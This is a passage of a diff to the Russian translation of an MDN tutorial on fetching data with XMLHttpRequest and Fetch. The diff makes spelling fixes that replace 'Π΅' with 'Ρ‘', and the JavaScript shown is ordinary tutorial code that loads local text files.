Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ нСобходимости ΠΏΠ΅Ρ€Π΅Π΄ ΠΈΡ… ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ.</p>
+<p>Π­Ρ‚ΠΎ достигаСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ‚Π°ΠΊΠΈΡ… API, ΠΊΠ°ΠΊ {{domxref("XMLHttpRequest")}} ΠΈΠ»ΠΈ - Π±ΠΎΠ»Π΅Π΅ Π½ΠΎΠ²ΠΎΠΉ - <a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch API</a>. Π­Ρ‚ΠΈ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π²Π΅Π±-страницам Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ запросы <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP">HTTP</a> для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… рСсурсов, доступных Π½Π° сСрвСрС, ΠΈ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ нСобходимости ΠΏΠ΅Ρ€Π΅Π΄ ΠΈΡ… ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’Π½Π°Ρ‡Π°Π»Π΅ эта общая Ρ‚Π΅Ρ…Π½ΠΈΠΊΠ° Π±Ρ‹Π»Π° извСстна ΠΊΠ°ΠΊ Асинхронный JavaScript ΠΈ XML (Ajax), ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½Π°, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, использовала {{domxref("XMLHttpRequest")}} для запроса Π΄Π°Π½Π½Ρ‹Ρ… XML. Π’ наши Π΄Π½ΠΈ это ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π½Π΅ Ρ‚Π°ΠΊ (Π²Ρ‹, скорСС всСго, Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>XMLHttpRequest</code> ΠΈΠ»ΠΈ Fetch для запроса JSON), Π½ΠΎ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ всС Ρ‚ΠΎΡ‚ ΠΆΠ΅, ΠΈ Ρ‚Π΅Ρ€ΠΌΠΈΠ½ Β«AjaxΒ» ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для описания этой Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΈ.</p>
@@ -60,7 +60,7 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Fetching_data
<ul>
<li>ОбновлСния страницы Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ быстрСС, ΠΈ Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΆΠ΄Π°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ страницы, Π° это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ сайт Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ быстрСС ΠΈ воспринимаСтся Π±ΠΎΠ»Π΅Π΅ ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΌ.</li>
- <li>МСньшС Π΄Π°Π½Π½Ρ‹Ρ… загруТаСтся ΠΏΡ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠΈ, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ ΠΌΠ΅Π½ΡŒΡˆΠ΅Π΅Β ΠΏΠΎΡ‚Ρ€Π΅Π±Π»Π΅Π½ΠΈΠ΅ пропускной способности. Π­Ρ‚ΠΎ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ‚Π°ΠΊΠΎΠΉ большой ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΎΠΉ Π½Π° Ρ€Π°Π±ΠΎΡ‡Π΅ΠΌ столС Π² ΡˆΠΈΡ€ΠΎΠΊΠΎΠΏΠΎΠ»ΠΎΡΠ½ΠΎΠΌ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠΈ, Π½ΠΎ это ΡΠ΅Ρ€ΡŒΠ΅Π·Π½Π°Ρ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π½Π° ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… устройствах ΠΈ Π² Ρ€Π°Π·Π²ΠΈΠ²Π°ΡŽΡ‰ΠΈΡ…ΡΡ странах, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ повсСмСстного быстрого ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-сСрвиса.</li>
+ <li>МСньшС Π΄Π°Π½Π½Ρ‹Ρ… загруТаСтся ΠΏΡ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠΈ, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ ΠΌΠ΅Π½ΡŒΡˆΠ΅Π΅Β ΠΏΠΎΡ‚Ρ€Π΅Π±Π»Π΅Π½ΠΈΠ΅ пропускной способности. Π­Ρ‚ΠΎ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ‚Π°ΠΊΠΎΠΉ большой ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΎΠΉ Π½Π° Ρ€Π°Π±ΠΎΡ‡Π΅ΠΌ столС Π² ΡˆΠΈΡ€ΠΎΠΊΠΎΠΏΠΎΠ»ΠΎΡΠ½ΠΎΠΌ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠΈ, Π½ΠΎ это ΡΠ΅Ρ€ΡŒΡ‘Π·Π½Π°Ρ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π½Π° ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… устройствах ΠΈ Π² Ρ€Π°Π·Π²ΠΈΠ²Π°ΡŽΡ‰ΠΈΡ…ΡΡ странах, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ повсСмСстного быстрого ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-сСрвиса.</li>
</ul>
<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΠΊΠΎΡ€ΠΈΡ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Ρƒ, Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ сайты Ρ‚Π°ΠΊΠΆΠ΅ ΡΠΎΡ…Ρ€Π°Π½ΡΡŽΡ‚ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹ ΠΈ Π΄Π°Π½Π½Ρ‹Π΅ Π½Π° ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΠΎΠ±Ρ€Π°Ρ‰Π΅Π½ΠΈΠΈ ΠΊ сайту, Π° это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… посСщСниях ΠΎΠ½ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹Π΅ вСрсии вмСсто Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ свСТих ΠΊΠΎΠΏΠΈΠΉ,Β Β ΠΊΠ°ΠΊ ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠΉ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ страницы. Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΠΌΠΎΠ΅ загруТаСтся с сСрвСра Ρ‚ΠΎΠ»ΡŒΠΊΠΎΒ ΠΏΡ€ΠΈ Π΅Π³ΠΎ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠΈ.</p>
@@ -75,14 +75,14 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Fetching_data
<h3 id="XMLHttpRequest">XMLHttpRequest</h3>
-<p><code>XMLHttpRequest</code> (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ часто сокращаСтся Π΄ΠΎ XHR) являСтся довольно старой Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠ΅ΠΉ сСйчас - ΠΎΠ½ Π±Ρ‹Π» ΠΈΠ·ΠΎΠ±Ρ€Π΅Ρ‚Π΅Π½ Microsoft Π² ΠΊΠΎΠ½Ρ†Π΅ 1990-Ρ… Π³ΠΎΠ΄ΠΎΠ² ΠΈ ΡƒΠΆΠ΅ довольно Π΄ΠΎΠ»Π³ΠΎ стандартизирован Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ….</p>
+<p><code>XMLHttpRequest</code> (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ часто сокращаСтся Π΄ΠΎ XHR) являСтся довольно старой Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠ΅ΠΉ сСйчас - ΠΎΠ½ Π±Ρ‹Π» ΠΈΠ·ΠΎΠ±Ρ€Π΅Ρ‚Ρ‘Π½ Microsoft Π² ΠΊΠΎΠ½Ρ†Π΅ 1990-Ρ… Π³ΠΎΠ΄ΠΎΠ² ΠΈ ΡƒΠΆΠ΅ довольно Π΄ΠΎΠ»Π³ΠΎ стандартизирован Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ….</p>
<ol>
<li>
- <p>Π§Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ этот ΠΏΡ€ΠΈΠΌΠ΅Ρ€, создайтС Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ копию <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/ajax-start.html">ajax-start.html</a> ΠΈ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅Ρ… тСкстовых Ρ„Π°ΠΉΠ»ΠΎΠ² - <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse1.txt">verse1.txt</a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse2.txt">verse2.txt</a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse3.txt">verse3.txt</a> ΠΈ <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse4.txt">verse4.txt</a> - Π² Π½ΠΎΠ²ΠΎΠΌ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅ Π½Π° вашСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅. Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΠΌ другоС стихотворСниС (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Π²ΠΏΠΎΠ»Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ€Π°ΡΠΏΠΎΠ·Π½Π°Ρ‚ΡŒ) Ρ‡Π΅Ρ€Π΅Π· XHR, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π±Ρ€Π°Π½ Π² Π²Ρ‹ΠΏΠ°Π΄Π°ΡŽΡ‰Π΅ΠΌ мСню.</p>
+ <p>Π§Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ этот ΠΏΡ€ΠΈΠΌΠ΅Ρ€, создайтС Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ копию <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/ajax-start.html">ajax-start.html</a> ΠΈ Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘Ρ… тСкстовых Ρ„Π°ΠΉΠ»ΠΎΠ² - <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse1.txt">verse1.txt</a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse2.txt">verse2.txt</a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse3.txt">verse3.txt</a> ΠΈ <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse4.txt">verse4.txt</a> - Π² Π½ΠΎΠ²ΠΎΠΌ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅ Π½Π° вашСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅. Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΠΌ другоС стихотворСниС (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Π²ΠΏΠΎΠ»Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ€Π°ΡΠΏΠΎΠ·Π½Π°Ρ‚ΡŒ) Ρ‡Π΅Ρ€Π΅Π· XHR, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π±Ρ€Π°Π½ Π² Π²Ρ‹ΠΏΠ°Π΄Π°ΡŽΡ‰Π΅ΠΌ мСню.</p>
</li>
<li>
- <p>Π’Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта {{htmlelement("script")}} Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄. Π’ Π½Π΅ΠΌ хранится ссылка Π½Π° элСмСнты {{htmlelement("select")}} ΠΈ {{htmlelement("pre")}} Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… ΠΈ опрСдСляСтся {{domxref ("GlobalEventHandlers.onchange", "onchange")}} ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° событий, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ, ΠΊΠΎΠ³Π΄Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ select измСняСтся, Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ пСрСдаСтся Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>updateDisplay()</code> Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°.</p>
+ <p>Π’Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта {{htmlelement("script")}} Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄. Π’ Π½Π΅ΠΌ хранится ссылка Π½Π° элСмСнты {{htmlelement("select")}} ΠΈ {{htmlelement("pre")}} Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… ΠΈ опрСдСляСтся {{domxref ("GlobalEventHandlers.onchange", "onchange")}} ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° событий, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ, ΠΊΠΎΠ³Π΄Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ select измСняСтся, Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ пСрСдаётся Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>updateDisplay()</code> Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°.</p>
<pre class="brush: js">var verseChoose = document.querySelector('select');
var poemDisplay = document.querySelector('pre');
@@ -100,7 +100,7 @@ verseChoose.onchange = function() {
};</pre>
</li>
<li>
- <p>ΠœΡ‹ Π½Π°Ρ‡Π½Π΅ΠΌ Π½Π°ΡˆΡƒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ с ΡΠΎΠ·Π΄Π°Π½ΠΈΡΒ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎΒ URL-адрСса, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎΒ Π½Π° тСкстовый Ρ„Π°ΠΉΠ», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ ΠΈ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ понадобится Π½Π°ΠΌ ΠΏΠΎΠ·ΠΆΠ΅. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ элСмСнта {{htmlelement("select")}} Π² любой ΠΌΠΎΠΌΠ΅Π½Ρ‚ совпадаСт с тСкстом Π²Π½ΡƒΡ‚Ρ€ΠΈ Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠ³ΠΎ {{htmlelement("option")}} (Ссли Π²Ρ‹ Π½Π΅ ΡƒΠΊΠ°ΠΆΠ΅Ρ‚Π΅ Π΄Ρ€ΡƒΠ³ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅ value) - Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Β«Verse 1Β». Π‘ΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ тСкстовый Ρ„Π°ΠΉΠ» стиха являСтся Β«verse1.txtΒ» ΠΈ находится Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅, Ρ‡Ρ‚ΠΎ ΠΈ Ρ„Π°ΠΉΠ» HTML, поэтому Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ имя Ρ„Π°ΠΉΠ»Π°.</p>
+ <p>ΠœΡ‹ Π½Π°Ρ‡Π½Ρ‘ΠΌ Π½Π°ΡˆΡƒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ с ΡΠΎΠ·Π΄Π°Π½ΠΈΡΒ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎΒ URL-адрСса, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎΒ Π½Π° тСкстовый Ρ„Π°ΠΉΠ», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ ΠΈ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ понадобится Π½Π°ΠΌ ΠΏΠΎΠ·ΠΆΠ΅. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ элСмСнта {{htmlelement("select")}} Π² любой ΠΌΠΎΠΌΠ΅Π½Ρ‚ совпадаСт с тСкстом Π²Π½ΡƒΡ‚Ρ€ΠΈ Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠ³ΠΎ {{htmlelement("option")}} (Ссли Π²Ρ‹ Π½Π΅ ΡƒΠΊΠ°ΠΆΠ΅Ρ‚Π΅ Π΄Ρ€ΡƒΠ³ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅ value) - Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Β«Verse 1Β». Π‘ΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ тСкстовый Ρ„Π°ΠΉΠ» стиха являСтся Β«verse1.txtΒ» ΠΈ находится Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅, Ρ‡Ρ‚ΠΎ ΠΈ Ρ„Π°ΠΉΠ» HTML, поэтому Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ имя Ρ„Π°ΠΉΠ»Π°.</p>
<p>Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, Π²Π΅Π±-сСрвСры, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Ρ‡ΡƒΠ²ΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ ΠΊ рСгистру, ΠΈ имя Ρ„Π°ΠΉΠ»Π° Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ символа "ΠΏΡ€ΠΎΠ±Π΅Π»Π°". Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ Β«Verse 1Β» Π² Β«verse1.txtΒ», Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ V Π² Π½ΠΈΠΆΠ½ΠΈΠΉ рСгистр, ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Π΅Π» ΠΈ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ .txt Π² ΠΊΠΎΠ½Π΅Ρ†. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{jsxref("String.replace", "replace ()")}}, {{jsxref("String.toLowerCase", "toLowerCase ()")}} ΠΈ простой <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Strings#Concatenating_strings">ΠΊΠΎΠ½ΠΊΠ°Ρ‚Π΅Π½Π°Ρ†ΠΈΠΈ строк</a>. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ строки Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>updateDisplay()</code>:</p>
@@ -114,7 +114,7 @@ var url = verse + '.txt';</pre>
<pre class="brush: js">var request = new XMLHttpRequest();</pre>
</li>
<li>
- <p>Π—Π°Ρ‚Π΅ΠΌ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref("XMLHttpRequest.open", "open()")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊΠΎΠΉ <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods">HTTP request method</a> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для запроса рСсурса ΠΈΠ· сСти ΠΈ ΠΊΠ°ΠΊΠΎΠΉ Π΅Π³ΠΎ URL-адрСс. ΠœΡ‹ просто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/GET">GET</a></code> здСсь ΠΈ Π·Π°Π΄Π°Π΅ΠΌ URL ΠΊΠ°ΠΊ Π½Π°ΡˆΡƒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ <code>url</code>. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ это Π½ΠΈΠΆΠ΅ вашСй ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ строки:</p>
+ <p>Π—Π°Ρ‚Π΅ΠΌ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref("XMLHttpRequest.open", "open()")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊΠΎΠΉ <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods">HTTP request method</a> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для запроса рСсурса ΠΈΠ· сСти ΠΈ ΠΊΠ°ΠΊΠΎΠΉ Π΅Π³ΠΎ URL-адрСс. ΠœΡ‹ просто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/GET">GET</a></code> здСсь ΠΈ Π·Π°Π΄Π°Ρ‘ΠΌ URL ΠΊΠ°ΠΊ Π½Π°ΡˆΡƒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ <code>url</code>. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ это Π½ΠΈΠΆΠ΅ вашСй ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ строки:</p>
<pre class="brush: js">request.open('GET', url);</pre>
</li>
@@ -124,7 +124,7 @@ var url = verse + '.txt';</pre>
<pre class="brush: js">request.responseType = 'text';</pre>
</li>
<li>
